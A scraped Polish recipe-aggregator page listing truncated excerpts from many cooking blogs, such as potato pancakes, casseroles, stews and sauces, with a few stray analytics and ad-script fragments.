grubych oczkach marchewkę. Po chwili dodać kapustę, przyprawić pieprzem. Podlać szklanką rosołu (lub wody) i dusić około 10 minut. Naczynie do zapiekania wysmarować olejem, wyłożyć połowę kapusty (razem z sosem), na nią ułożyć schab i resztę kapusty. Przykryć pokrywką (lub folią aluminiową) i wstawić do piekarnika na około 45 minut. Podawać z ziemniakami

Domowa Cukierenka-Domowa Kuchnia
Placuszki z marchewki i ziemniaków 408

ciekawa alternatywa dla klasycznych placków ziemniaczanych . Są bardzo chrupiące i lekko słodkie. Podałam je ze śmietaną oraz koperkiem, ale doskonale sprawdziły się w duecie z polędwiczką w kremowym sosie własnym. Lubię placuszki przygotowane z grubo startych ziemniaków, wtedy kawałki warzyw stają się fajnie chrupiące. Zachęcam Was do przygotowania tego przepisu – placuszki z marchewki i ziemniaków możecie serwować na obiad

Kuchnia Bazylii
Casserole z kurczakiem 220

pieprz, sól Wykonanie: Pokrój drobno cebulę i czosnek, podsmaż na patelni, aż zmiękną. Dodaj pomidory z puszki, pokrojone na pół pomidorki koktajlowe, wino oraz wszystkie przyprawy. Odparuj całość, aż sos lekko zgęstnieje. W tym czasie porwij mięso na kawałki, dodaj do całości i wymieszaj. Ułóż całość w naczyniu do zapiekania. Pokrój mozarellę w plastry, ułóż plastry na mięsie. Posyp całość

Garniec Magalie
Kotleciki brokułowe z miętą 169

kalafiora , placki z kalafiora czy placuszki z dyni doskonale sprawdzą się jako lunch do pracy. Można przygotować z nimi sycącego burgera wegetariańskiego czy podać jako samodzielny posiłek z sosem curry. W obu wersjach sprawdzi się idealnie! Składniki: jeden duży brokuł, ugotowany na pół twardo 2 jajka ugotowane na twardo 1 surowe jajko maka pszenna sól, pieprz cytrynowy, skórka otarta

Życie ze smakiem
Makaron w pomidorach z kurczakiem 162

komputer😑 Zaległości nadrabiam bardzo prostym i szybkim obiadem😀 Do zrobienia w maksymalnie 30 minut i bez brudzenia wielu naczyń kuchennych. Składniki łatwo dostępne, tanie i odżywcze. Taki a'la sos boloński tylko, że w najprostszej odmianie😏  Składniki na 2 porcje: -160 g makaronu (u mnie orkiszowy) -270 g mięsa -3 pomidory+bazylia -100 g pieczarek  -łyżka tłuszczu

Zdrowie i pysznie na talerzu
placki ziemniaczane faszerowane kapustą i pieczarkami 184

kładziemy cienką warstwę masy ziemniaczanej, na niej farsz i przykrywamy drugą warstwą masy ziemniaczanej. Smażymy z obu stron na złoty kolor. Gotowe podajemy z zestawem surówek i np. pikantnym sosem czosnkowym

Domowy Smak Jedzenia
Kluski śląskie 223

której robimy dziurkę. W garnku zagotowujemy wodę z dodatkiem soli (według własnego uznania). Na wrzątek wrzucamy kluseczki. Gdy wypłyną gotujemy 3 minuty. Smacznego :) P.S. Kluski śląskie możemy podawać z sosem grzybowym, pieczarkowym lub polać masełkiem z podsmażoną cebulką

Dieta Rozdzielna i Zdrowie
Tortilla z wieprzowiną 325

Składniki: 3 tortille 30 cm Fanex 1/2 kg karkówki 1/4 kapusty pekińskiej 1/2 puszki kukurydzy kawałek pora 1 awokado sok z cytryny sos gyros Fanex zioła Małgosi obsypka maspolanka sól, pieprz … Czytaj dalej Tortilla z wieprzowiną

czarrna od kuchni
Błyskawiczny 'gulasz' z kiełbaską 280

Szybka, łatwa i jednogarnkowa propozycja obiadowa àla gulasz węgierski- kiełbasa w sosie pomidorowym z marchewką i pieczarkami, wzbogaconym o dodatek wędzonej papryki, aby całość dodatkowo nabrała ciekawego, 'dymnego' charakteru. Do mojego 'gulaszu' użyłam kiełbaski chorizo, ale- o ile zdecydujecie się na wypróbowanie przepisu- możecie dodać innej ulubionej bądź dostępnej. 'Gulasz' można podać najprościej i najszybciej- z bułką, ale smacznie się

Kraina Miodem Płynąca
Szakszuka z ciecierzycą i królowa wśród patelni - Woll 229

niej czosnek wraz z cebulą, kuminem i chili, aż warzywa będą szkliste. Wtedy na patelnię wrzucamy ciecierzycę i wlewamy przecier. Smażymy na małym ogniu, aż przecier nieco odparuje, a sos zgęstnieje.  Teraz możemy go posolić i popieprzyć, a następnie robimy w nim cztery zagłębienia i w każde  wbijamy po jednym jajku. Smażymy, aż białka się zetną. Jajka solimy

Kulinarne przygody Gatity
Pieczone mielone z pęczakiem 153

użyłam mieszanki pęczak, groszek, vermicelli produkowanej przez Melvit dla sieci Biedronka) 2 piersi kurczaka 3 kostki mrożonego szpinaku 1 jajko 3 łyżki parmezanu przyprawy: sól, garam masala, majeranek sos: szklanka przecieru pomidorowego ząbek czosnku przyprawy: majeranek i sól Kaszę gotujemy. Ciepłą kaszę mieszamy ze szpinakiem, aby się rozmroził. Kurczaka siekamy drobno, dodajemy do kaszy razem z jajkiem i przyprawami oraz

Kucharzyca
Zupa krem z buraka z tofu w pięciu smakach 182

przyprawy pięciu smaków. Dodaję buraki pokrojone w kostkę oraz korzeń pietruszki. Uzupełniam wodą. Gotuję do miękkości buraków. W połowie gotowania wlewam ocet. Następnie blęduję zupę i dosmaczam jeśli trzeba sosem sojowym. Tofu naturalne kroję w kostkę ok 2x2 cm, maczam w marynacie z oleju i przyprawy pięciu smaków.   Smażę na złoto. Podaję z kolendrą

AZgotuj!
Surówka z czerwonej kapusty 167

octu. Doskonale smakuje również na drugi dzień. Pamiętajmy jednak, aby włożyć ją na noc do lodówki :) My najbardziej lubimy tą surówkę jako dodatek do klasycznych schabowych lub roladek w sosie serowym . Smacznego

Kuchnia od dwojga
Zawijaski z tortilli 617

lodówce mogą również czekać nawet 3 godziny, nic im się nie stanie). Po tym czasie wyjmujemy i kroimy pod ukosem. Można podawać je z sosem czosnkowym lub samodzielnie. W ten sposób układamy składniki na tortilli. Nie układamy do samego brzegu, ponieważ podczas zwijania będą się one przesuwać

Olga Piecze i Gotuje
GOLONKA PIECZONA (keto, LCHF, paleo, optymalna) 544

zależności od wielkości golonek) w temperaturze 180 ° C. W trakcie pieczenia co 15-20 minut golonki odwracać i polewać wywarem. W razie potrzeby gdyby sos odparował dolać odrobinę wody. Smacznego! — BTW surowej golonki wieprzowej: w 100g: 294 kcal, B 18,6 g, T 24,7 g, W 0 g. Artykuł GOLONKA PIECZONA (keto, LCHF, paleo, optymalna) pochodzi z serwisu

Ola la LCHF
ORKISZOWA TARTA Z ŁOSOSIEM I POREM 185

cisto przekładam farsz, posypuję resztą sera.  11. Tartę piekę w piekarniku ok 25 min w 190 stopniach aż ser będzie złoty.   12. Podaję z ulubionym sosem na ciepło.  Mam nadzieję, że Wasze Tarty wyjdą tak pyszne jak Moja :)  Raz jeszcze przypominam , że wybrane składniki znajdziecie na stronie Sklepu GALERIA HERBAT   Zapraszam na zakupy

Gotowanie Patki
Kurczak curry z warzywami i ryżem 244

minut. Następnie dodajemy paprykę i ugotowaną fasolkę i dalej smażymy. Całość zalewamy mlekiem kokosowym, doprawiamy solą, pieprzem i cukrem. Dusimy pod przykryciem przez jakieś 5-7 minut do odparowania sosu. Podajemy na talerzu z ryżem.  Dajcie znać w komentarzach, czy próbowaliście już takie danie

Gotuj z Mąką
Sałatka GYROS 150

patelni i usmażyć mięso. Wystudzić. Kapustę posiekać, paprykę, cebulę i ogórki pokroić wg uznania, kukurydzę odcedzić. Majonez wymieszać z ketchupem. W misce ułożyć warstwowo: mięso, cebula, ogórki, 1/2 sosu, kukurydza, papryka i kapusta. Smacznego

Trufelkowo
Proste placki ziemniaczane 176

silikonowych foremek. Niby smak placków taki sam, ale jednak atrakcyjniej takie serduszka, motylki, czy gwiazdki wyglądają na talerzu Podajemy solo albo z ulubioną sałatką. Ja uwielbiam maczane w ostrym sosie do naleśników koreańskich i podane z nieśmiertelnymi buraczkami czerwonymi Smacznego! Artykuł Proste placki ziemniaczane pochodzi z serwisu Lamarida.pl

Lamarida.pl
Zupa z dyni z salsą mango 182

wiemy jak to zrobić to w tym linku jest film instruktażowy. Do miski dajemy oliwę, miód i sok z limonki. Mieszamy dokładnie. Pokrojone mango dajemy do miski z sosem i odstawiamy. Do naczynia Thermomix dajemy pokrojoną na 4 części cebulą oraz papryczkę chilli. Z papryczki usuwamy gniazdo nasienne. Składniki siekamy czas 5 s-10 s/obr.5 (po 5 sekundach zgarniamy kopystką

Themo przepisy
Meksykańska zupa limonkowa 268

pisałam zapraszam tutaj . Tematem przewodnim warsztatów był meksyk "Vivá la fiesta" wspólnie przygotowaliśmy Zupę limonkową,chrupiącą quesadille z szarpaną wieprzowiną oraz tradycyjne taco z kurczakiem, quacamole, salsą pomidorową i sosem mango chilli. Tym razem na warsztaty namówiłam swoje przyjaciółki, było to nasze pierwsze wspólne gotowanie nie zabrakło śmiechu i wina :) kuchnia to takie magiczne miejsce, gdzie wszyscy się jednoczą

Wylizany Rondel
Roladki z gęsiej piersi ze śliwką 226

smażenia. Następnie obsmażamy roladki. Marchew obieramy i kroimy w słupki a szalotki na połowę – również je podsmażamy. Podlewamy bulionem warzywnym i dusimy pod przykryciem do miękkości mięsa. Aby sos był aromatyczny podczas gotowania dodajemy dwie suszone śliwki. SMACZNEGO. Wartość kaloryczna 1 porcji: ok. 227 kcal (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject

Smaki Ewy
Kotlety ziemniaczane 312

minut z każdej strony, aż zrobią się złociste i podgrzeją się w środku. Kotlety możesz podawać z dodatkiem natki i pokrojonego chilli, idealnie smakują z sałatką lub lekkim sosem jogurtowym. Są pyszne zarówno na ciepło, jak i na zimno. SMACZNEGO!     Artykuł Kotlety ziemniaczane pochodzi z serwisu nietylkopasta.pl - blog kulinaria, restauracje, podróże

nietylkopasta.pl
Gęsie piersi z antonówkami 156

wazę, wyłożyłem następnie jabłka, na nich położyłem zamarynowane piersi gęsie. Piekłem, pod przykryciem ok. 3 godziny w piekarniku rozgrzanym do 160 stopni C ( od czasu do czasu polewałem powstałym sosem ). Pod koniec pieczenia zdjąłem pokrywkę, aby skórka się spiekła

R'n'G Kitchen
Śledzie w keczupie. 254

minut na patelni (aż zmięknie). Następnie dodać keczup, powidła i wodę. Wymieszać i dusić przez kilka minut. Doprawić pieprzem i wystudzić. Rybę pokroić w paski, zalać wystudzonym sosem, delikatnie wymieszać. Wstawić do lodówki na kilka godzin, a najlepiej na całą

zadanie-gotowanie
Zrazy wołowe nadziane kaszą i grzybami 228

małym ogniu).  Podawanie Upieczone buraki obrać ze skórki i pokroić w cienkie plasterki. Na talerze rozłożyć plasterki buraków, a następnie na nich ułożyć przygotowane zrazy. Ewentualnie całość polać sosem, który powstał po ugotowaniu zrazów.  Od lewej strony: gotowy farsz i wygląd zrazów przed zawinięciem Od lewej strony: obsmażanie zrazów i ich duszenie

Ugotować
Sałatka z pieczonej dyni, fety i granatu 214

blogu wygrałam swój pierwszy cukier perlisty. Jak się okazuje to tam znalazłam przepis na sałatkę lepszą niż wszystkie zrobione dotychczas :) Oczywiście bez zmian się nie obyło, zrezygnowałam np. z sosów, ale efekt mnie powalił! Sałatka z pieczonej dyni, fety i granatu 1 dynia Hokkaido, po obraniu około 500 g, pokrojona na kawałki 3 cm 1 łyżeczka mielonego kuminu 1 łyżeczka

Dzieje kuchennej Wiewióry
Pizza z nuggetsami na grubym cebulowym cieście 217

nuggetsy. Pizze wkładamy do piekarnika na około 12 minut. Wyciągamy po raz ostatni i posypujemy startym serem. Wkładamy jeszcze na 5 minut i… zjadamy ze smakiem z ulubionymi sosami lub ketchupem *Przygotowujemy farsz: Podsmażamy pokrojoną czerwoną cebulę (pół cebuli), posiekanego drobno pora, pokrojoną w kosteczkę paprykę. Doprawiamy suszoną bazylią. Następnie dodajemy pokrojone (obrane) w plastry pieczarki i zostawiamy

Słodkie okruszki
Śledzik w sosie tatarskim 239

Dziś przygotowałam pyszne śledzie w sosie tatarskim. I kiedy tak stałam nad tymi śledziami to przyszło mi do głowy, że już niedługo będą święta, a te śledzie będą doskonałe. Potrzebujemy: Czytaj więcej

Tylko pysznie
Spaghetti z dynią 249

Składniki: 250 g makaronu spaghetti 400 g zmielonej łopatki wieprzowej 500 g dyni 1 cebula sól, pieprz słodka papryka zioła prowansalskie sos chili Przygotowanie: Cebulę obrać i posiekać. W rondlu … Czytaj dalej Spaghetti z dynią

czarrna od kuchni
Jambalaya z kiełbasą, kurczakiem i krewetkami 184

lekko zmiękną, dodajemy kurczaka. Doprawiamy całość solą, pieprzem i jalapeno. Dosypujemy surowy ryż, podlewamy bulionem. Dorzucamy pokrojone pomidory, koncentrat pomidorowy, harissę. Gdy wszystko się podgotuje, ryż zmięknie i powstanie sos dorzucamy krewetki (mogą być mrożone), dodajemy szczypiorek, tymianek i chwilkę gotujemy. Smacznego

kruche babeczki
Pieczona brukselka – w miodzie i balsamico 282

najgrubszym miejscu). Brukselka lekko się skarmelizuje i przypiecze. W miseczce mieszamy miód z octem balsamicznym i jedną łyżką oleju. Upieczone brukselki wrzucamy do miski, mieszamy ze słodko-kwaśnym sosem i podajemy od razu. Nam tak naszykowana najbardziej smakuje z panierowanymi filetami rybnymi i jasnym mięsem kurczaka. SKŁADNIKI 2-3 porcje jako dodatek 500-600g brukselki 2 łyżki jasnego, kwiatowego

Karo in the Kitchen
Tuńczyk po włosku- sałatka makaronowa 227

smaż cebulę z czosnkiem i anchois przez 5 minut. Wlej śmietankę, dopraw solą i pieprzem. Odciśnij tuńczyka z zalewy. Pokrój połowę rukoli. Pomidory przekrój na pół. Wymieszaj makaron z sosem tuńczykiem, pomidorami i rukolą. Na wierzchu ułóż resztę rukoli. Podaj sałatkę letnią lub na ciepło.   The post Tuńczyk po włosku- sałatka makaronowa appeared first on Blog kulinarny - codojedzenia.pl

codojedzenia
PIECZONA KACZKA 166

następnie przewrócić kaczkę na drugą stronę, ponownie przykryć pokrywą i dalej piec. Jednak w drugiej godzinie pieczenia kaczki co jakieś   10 - 15 minut podnosimy pokrywę i polewamy mięso sosem z dna naczynia tak, by kaczka po upieczeniu nie była sucha. Ta druga godzina jest trochę umowna, ponieważ czas pieczenia zależy od kaczki trzeba piec tak długo, aż mięso będzie

Ciastka - domowe słodkości
Zapiekanka z brukselką, kiełbasą i ziemniakami 188

minut. Brukselkę myjemy, odcinamy koncówki, usuwamy zewnętrzne liście, główki kroimy na pół. W szklance mieszamy śmietanę, jajko i przyprawy. W żaroodpornym naczyniu układamy ziemniaki, brukselkę, kiełbasę i cebulę, polewamy sosem śmietanowym. Naczynie przykrywamy i pieczemy w piekarniku nagrzanym do 180 stopni przez 40 minut. Na 5 minut przed końcem zdejmujemy pokrywkę, na wierzchu układamy plasterki mozzarelli i zapiekamy. Podajemy

Kulinarne przygody Gatity
Szybkie pizzerinki pieczone bez drożdży 169

Pieczemy 20 min 180 stopni. 3. W między czasie przygotowujemy dodatki. Mięso kroimy w kostkę, przyprawiamy i podsmażamy. Cebulę siekamy drobno. Mozzarellę również w kostkę. 4. Podpieczone spody smarujemy sosem pomidorowym i nakładamy kurczaka, cebulkę posypując mozzarellą. Wstawiamy ponownie do piekarnika jeszcze na 10 min. (adsbygoogle = window.adsbygoogle || []).push({}); Wartości odżywcze 2 porcji: 1135 kcal

Zdrowie i pysznie na talerzu
Sałatka śledziowa z jabłkiem i koperkiem. 264

większą kostkę. Jabłko pozbawić gniazda nasiennego i również pokroić w kostkę. Ogórek i szalotkę pokroić w drobniejszą kostkę. Wymieszać śmietanę z majonezem, chrzanem, solą, cukrem oraz posiekanym koperkiem. Sos delikatnie wymieszać z pozostałymi składnikami i odstawić na 1 godzinę do lodówki

zadanie-gotowanie
Domowy burger 193

równie dobrze możesz użyć dobrej, kupionej bułki Reszta składników domowego burgera to tak naprawdę już Twoja inwencja, co lubisz, co Ci smakuje, ja dodaję sałatę, cebulkę, sosy, czasem ogórka czy pomidora Przygotowanie: składniki na kotlety mieszamy dokładnie, formujemy kotlety i smażymy z obu stron na rumiano Frytki: umyte i pokrojone ziemniaki włóż do wody z lodem na 20 minut następnie

Oka w rosole czyli KaFka gotuje
Rożki białostockie 237

jajko do panierowania  bułka tarta,  olej do smażenia. Rożki białostockie, to typowe danie kuchni polskiej. Stanowi ono ciekawe urozmaicenie dań obiadowych. Można je serwować z różnymi sosami lub z czerwonym barszczem do popicia. Posiekaną drobno cebulę zeszklić na niewielkiej ilości masła lub oleju. Odstawić do przestudzenia. Mięso z kurczaka pokroić bardzo drobno. Jajka na twardo, posiekać. Połączyć kurczaka

Świat Domowej Kuchni
Smażone kulki z ziemniaków. 244

Takie kulki to doskonały dodatek do drugiego dania, moje podać z mięsnym sosem i ulubioną surówką. Będzie to miłe urozmaicenie od zwykłych ziemniaków. Można nimi zaskoczyć gości. Dodam że, można je również podjadać bez żadnych dodatków. Z wierzchu jest chrupiąca skorupka, a środek mięciutki. Do usmażenia kulek wybrałam #OlejWielkopolski tłoczony tylko raz. Jeżeli macie dość tradycyjnych tłuczonych ziemniaków to bardzo

Izabelawkuchni
Pieczone ziemniaki łódeczki z piekarnika 560

Pieczone ziemniaki łódeczki z piekarnika są alternatywą dla frytek z piekarnika czy frytek z batatów . Polecane, jako przekąska, ale także dodatek do obiadu. Najbardziej lubię je podawać z sosem czosnkowym lub mieszanką ketchupu oraz majonezu. Smakują wybornie dobrze przypieczone i posypane solą gruboziarnistą Jest kilka szkół przygotowywania takich łódeczek, jedna z nich mówi, aby ziemniaki wcześniej obgotować, jednak ja przygotowałam

Kuchnia Bazylii
kalafiorowo-pietruszkowe kotleciki... 166

grubości kotleciki, na mocno gorącym oleju smażyć na rumiano z każdej strony - kotleciki z kalafiora i natki pietruszki są bardzo smaczne, delikatne, aromatyczne, smakują podane na ciepło np. z sosem czosnkowym jogurtowym lub na zimno a`la hamburger warzywny........SMACZNEGO

W Mojej Kuchni Lubię
Pad thai 264

Składniki: 50 g makaronu błyskawicznego 200 g krewetek 1 jako 1 szalotka 1 papryczka chili 2 ząbki czosnku 1 cm imbiru szczypta cukru 2 łyżki sosu sojowego 1 łyżka soku … Czytaj dalej Pad thai

czarrna od kuchni
O tym jak postanowiłam zapanować nad skutkami choroby tarczycy przy pomocy diety 204

organizm jest powolna normalizacja stężenia glukozy we krwi po posiłku i zmniejszenie poposiłkowej hiperinsulinemii. Rukola z kolei dostarcza chrolofilu i kwasu foliowiego.  Obiad: Kurczak grillowany z sosem chili mango i komosą ryżowa Komentarz dietetyka: Pełnowartościowe białko zalecane osobom z niedoczynnością tarczycy Białkiem pochodzenia zwierzęcego (mięso, ryby morskie, jaja). Żelazo jest kolejnym, niezbędnym elementem w diecie osób z niedoczynnością tarczycy

Kulinarne Inspiracje
Makaron z sosem pieczarkowo-marchewkowym i parmezanem 190

palnika. W osobnym garnku zagotowujecie wodę, lekko solicie i wrzucacie makaron. Gotujecie kilka minut, aż będzie al dente, odcedzacie i wrzucacie z powrotem do tego samego garnka. Dodajecie sos, mieszacie, aż ten dokładnie oblepi makaron, przekładacie na talerze, posypujecie startym parmezanem i natką kolendry. Jecie

GRUBY WAŁEK
Placki z kaszy gryczanej i bananów. 1, 2, 3… 176

składniki. Tyle wystarczy, by zrobić pyszne placki z sosem. 2 składniki wystarczą do zrobienia samych placków. na 4 porcje: 150 g kaszy gryczanej 4 bardzo dojrzałe banany 300 g jogurtu naturalnego Kaszę zalewamy wodą i zostawiamy na noc, by namokła. Odcedzamy ją i miksujemy z 3 bananami. Z powstałej masy na rozgrzaną patelnię, łyżką nakładamy porcje placków. Smażymy z dwóch

Kucharzyca
Kapusta z soczewicą w sosie pomidorowym 278

Biała kapusta z czerwoną soczewicą, marchewką i sosem pomidorowym. Kapustę poszatkować (niezbyt drobno) i przełożyć do dużego garnka. Dodać liście laurowe, ziele angielskie, 1 łyżeczkę soli, odrobinę pieprzu i pół

Bullio
Soczyste kotlety mielone 372

przekładamy do naczynia żaroodpornego i wstawiamy do piekarnika nagrzanego do 150 stopni na 15 minut. Gotowe! Jako dodatek do kotletów mielonych możecie podać: domowe frytki , surówkę coleslaw z kremowym sosem , ogórki małosolne albo zasmażane buraczki

Dieta bez mleka
Pierwszy tchnienie Świąt. I ciasteczka marcepanowo-cytrynowe 160

był flæskesteg , czyli pieczeń wieprzowa z chrupiącą skórką, ziemniaki gotowane i takie w karmelu (i nie, nie krzywcie się; ziemniaki w karmelu to naprawdę genialny wynalazek), czerwona kapusta i sos. A na deser - ciasteczka. Marcepanowe, w wyraźną nutą cytryny, obtoczone w chrupiącym między zębami cukrze. Są boskie - idealnie kruche i niesamowicie wciągające. I choć wyszła mi ich ponad setka - już

Pożeraczka, czyli raz adobrze
PLACKI Z BATATÓW 181

zdecydowanie jestem zwolenniczką tej pierwszej wersji czyli wytrawnej, przygotowanej na wzór tradycyjnych placków ziemniaczanych. Bataty ścieramy na tarce o grubych oczkach, dzięki temu po usmażeniu są chrupiące. Podane z sosem koperkowym lub czosnkowym smakują wyśmienicie! Idealna propozycja na podwieczorek lub kolację 😊 Składniki: 500-600 g batatów 2 jajka 2-3 łyżki mąki pęczek natki pietruszki 1/2 łyżeczki soli 1/2 łyżeczki

Kuchnia MagdaLeny
szybkowar-z fasoli Jaś gulasz... 224

szybkowar otworzyć jak sam spuści ciśnienie na oleju podsmażyć pokrojoną cebulę, ząbki czosnku z mięsem schabowym pokrojonym na kosteczki do mięsa dodać ugotowaną fasolę, wywaru wlać tyle aby powstał sos, zagotować do smaku dodać majeranek, paprykę ostrą, ocet jabłkowy, cukier do smaku, przyprawę w płynie, gotować wszystko z 15 minut, najlepiej ugotować wieczorem na następny dzień wywar jeśli pozostał

W Mojej Kuchni Lubię
Pałki miodowo-musztardowe 218

Pozostawiamy na minimum 2h, a najlepiej na noc. Zamarynowanego kurczaka podlewamy ¾ szklanki wody i pieczemy w 180 stopniach C przez około 50 minut podlewając od czasu do czasu powstałym sosem

Pyry na Gaz
Klasyczny burger 165

tylko solą przed smażeniem i ewentualnie pieprzem przed podaniem. Podstawowy przepis nie jest skomplikowany, a gotowe burgery serwowujemy w opieczonej bułce z sałatą, pomidorem i czerwoną cebulą oraz dwoma sosami. Oczywiście dodatki można zmieniać według własnych upodobań :) Składniki na 4 burgery: 4 bułki do burgerów np. z TEGO przepisu 500 g mięsa wołowego np. antrykotu, rostbefu sól, pieprz sałata, roszponka

wyzwania kuchenne
Kurczak w sosie curry z ryżem i warzywami 179

Chcę podzielić się z Tobą przepisem na kurczaka na obiad. Trochę będzie to danie azjatyckie, a co ważne szybkie – dziś zatem kurczak... The post Kurczak w sosie curry z ryżem i warzywami appeared first on Przepisy: zdrowe, bezglutenowe i eksperymentalne - Eksperymentalnie.com

Eksperymentalnie.com
Pasta z makreli i jajek – prosty przepis 231

białym lub pełnoziarnistym pieczywie to doskonałe źródło energii na śniadanie. Z apraszam również do skorzystania z innych przepisów: Sałatka z brokułem kurczakiem i fetą Naleśniki z jabłkami, pomarańczami i sosem karmelowym Naleśniki z jabłkami i karmelem Artykuł Pasta z makreli i jajek – prosty przepis pochodzi z serwisu Księga Smaku

Księga-Smaku
Ślimaczki drożdżowe ze szpinakiem 213

Pyszne ślimaczki nadziane szpinakiem z ciasta jak na pizzę. Można je podać z keczupem lub sosem czosnkowym, będą także smakowały z czerwonym barszczykiem. składniki: ciasto 3 szklanki mąki 1 szklanka letniej wody 50 g świeżych drożdży 1 łyżeczka cukru 2 łyżki oleju duża szczypta soli farsz 1 łyżka masła 450 g świeżego szpinaku 125 g fety pieprz 3-4 łyżki

Monia miesza i gotuje
Łazanki z kapustą i suszonymi chińskimi grzybami 181

kształcie rombu używam tego, który mam pod ręką Niekonwencjonalnie, ale pysznie Polecam! Składniki: 30 g suszonych grzybów mun lub shitake 1/2 niewielkiej główka kapusty 1 średnia cebula 2 łyżki sosu tamari albo sojowego sól i pieprz do smaku olej do smażenia ugotowany ulubiony makaron Wykonanie: Do niewielkiego naczynia wrzucamy suszone grzyby, zalewamy wrzątkiem, przykrywamy i odstawiamy na około 30 minut

Lamarida.pl
Pieczone Ziemniaczki Z Kurkumą I Kuminem / Recenzja Książki "Persiana" 177

mieszamy, aż wszystkie ziemniaki będą oblepione. Następnie wkładamy je do piekarnika i pieczemy przez około 40-45 minut. Gotowe, upieczone ziemniaczki posypujemy koperkiem. Zajadamy z dodatkiem surówki, mięska lub sosu na bazie jogurtu. Smacznego ! Jak widać nie potrzeba zbyt wiele by stworzyć i poczuć smak Bliskiego Wschodu. Zatem do dzieła, zakupcie potrzebne składniki, zaszyjcie się w swojej kuchni i rozsmakujecie

Gotowanie...to proste !
Kopytka z brukselką i dynią 324

Składniki: kopytka razowe: ok. 1 kg ziemniaków ok. 1,5 szklanki mąki razowej żytniej 1 jajka sól, pieprz sos: 1/2 kg brukselki 1/2 kg dyni 1 puszka mleka kokosowego 1 cebula … Czytaj dalej Kopytka z brukselką i dynią

czarrna od kuchni
Dynia faszerowana kurczakiem z pomidorami 195

oliwek sól pieprz kilka gałązek tymianku Składniki na farsz: 2 małe piersi z kurczaka 1 cebula 1 ząbek czosnku 20 g oliwy z oliwek 200 g pomidorów krojonych w sosie 1 łyżeczka curry 1 łyżeczka kminu rzymskiego 1 łyżeczka papryki słodkiej sól, pieprz tarty parmezan natka pietruszki Wykonanie: Dynię kroimy na pół. Wyciągamy pestki. Skrapiamy oliwą z oliwek, posypujemy solą

Themo przepisy
Tarta z kiełbasą, warzywami i mozzarellą 197

pieczarki i paprykę, następnie ja ułożyłam dookoła plasterki cukinii, w środek kiełbasy i pomidorki.  3. W miseczce mieszamy jajka ze śmietaną i startą mozzarellą i zalewamy tak przygotowanym sosem tartę. Pieczemy w 180 stopniach około 30 minut. Smacznego

kruche babeczki
Tarty chrzan na zimowe zapasy 246

jego pora. Rekordy popularności chrzanu to okres Świąt Wielkanocnybch, ale obecny w kuchni jest cały okrągły rok. To świetny dodatek do tłustych mięs i ciężkostrawnych dań, niezastąpiony do ćwikły, sosów, białej kiełbasy i jaj. Całe lata kupowałam gotowy, tarty chrzan, ale to co dzisiaj widnieje na etykiecie to już naprawdę zgroza. Znajdziesz w składzie nawet mleko w proszku! Warto włożyć

Gotuj zdrowo!Guten Appetit!
Zapiekanka chlebowa z porem 192

patelni rozgrzewamy olej i blanszujemy kilka minut pory pocięte w plastry, odstawiamy alby nieco przestygły. Do miski wbijamy jajka, dodajemy śmietanę, bazylię oraz starty ser, mieszamy tworząc gęsty sos.  4. Na przygotowany wcześniej spód dajemy pory, oprószamy je solą i pieprzem, dajemy boczek i równo rozprowadzamy masę serowo - jajeczną. Piekarnik rozgrzewamy do 200 C, czas pieczenia

Apetyczna babeczka
jesienny gulasz z łopatki z dynią, papryką, kalarepką... 232

minut mieszając co jakiś czas wlać wodę i pod przykryciem gotować do miękkości mięsa śmietanę wymieszać z solą morską, mąką kukurydzianą, wlać do wywaru i mieszając do zagęszczenia sosu zagotować, na koniec wsypać koperek, użyłam zamrożony posiekany pachnący latem koperek podawać z czym się lubi: ziemniaki, kasza, ryż, makaron, pieczywo - wieprzowo dyniowy gulasz jest bardzo szybkim, łatwym i jednocześnie sycącym

W Mojej Kuchni Lubię
szybkowar-kolorowa papryka z ryżem i drobiem... 184

pełna układać w szybkowarze, wlać z dwie szklanki wody, po zasyczeniu pary na średnim ogniu gotować 30 minut, szybkowar otworzyć jak sam spuści ciśnienie z wywaru można zrobić sos lub zamrozić i dodać np. do zupy paprykowej, gulaszu przed podaniem posypać posiekanym koperkiem - papryki kolorowe lubimy bardzo i to w różnych daniach, od sałatek po faszerowane, papryka z szybkowara jest

W Mojej Kuchni Lubię
Dobra dieta dla seniora w Akademii Smaku Sokołów przy herbacie Basilur 217

rozpuszczamy świeże masło, dodajemy 4-5 łyżek wody z pierogów, sól, świeżo mielony pieprz i drobno posiekaną natkę pietruszki. Ugotowane pierogi lub uszka dekorujemy przygotowanymi dodatkami. Makaron razowy z sosem z Pasty z suszonych pomidorów Sokołów „Z gruntu dobre” . Serdecznie dziękuję Akademii Smaku Sokołów za zaproszenie. Za dobre dania, rozmowy przy herbacie i za to, że mogę spotykać tak ciekawych

AZgotuj!
Lubella i orientalne spaghetti 179

wylewam olej rzepakowy a następnie dodaję mięso. Smażę na rumiano. Dodaję warzywa. Mieszam. Dodaję mleczko kokosowe. Następnie dodaję 2 łyżki curry. Natkę drobno siekam dodaję do mięsa. Makaron polewam sosem i kurczakiem

Gotowanie Patki
Jaja sadzone na pomidorach i papryce z nutą imbiru 175

zetnie. Gotowe! Wyłóż na talerz, dodaj kleksy z pomidorowej papryki. Posyp pestkami prażonej dyni! Ulubiona herbata i posiłek jak się patrzy! Chrupiąca delikatnie papryka, kremowe i aromatyczne jajo w sosie...i pestki dyni! Jest pysznie, kolorowo ,zdrowo i do syta

Z Kuchni Do Kuchni
3 pomysły na marynatę do skrzydełek (z piekarnika lub grilla) 210

papryki w proszku sól świeżo zmielony czarny pieprz Marynata nr 3: Składniki: około 14-15 skrzydełek z kurczaka przyprawa do skrzydełek 2 łyżki miodu łyżeczka ostrej papryki 2 łyżki sosu sojowego 6 łyżek ketchupu pikantnego 2 łyżki oleju lub oliwy Rada: Marynując mięso w sposób tradycyjny potrzebujemy minimum 3-4 godzin, a najlepiej aby leżało ono w marynacie całą

Słodkie okruszki
Ryba po grecku, wersja obiadowa 177

Połączenie ryżu i soczewicy z rybą w sosie warzywnym. Dla fanów ryby po grecku, obiad idealny. 2 większe filety z dorsza lub innej białej ryby 1 duża marchewka 20 cm pora 1 średnia pietruszka 1,5 szklanki przecieru pomidorowego/passaty 1/2 puszki kukurydzy 1 łyżeczka oleju kokosowego 50 g ryżu brązowego 4 łyżki czerwonej soczewicy przyprawy: sól i pieprz Pora kroimy

Kucharzyca
Jagnięca wątróbka po włosku z makaronem 208

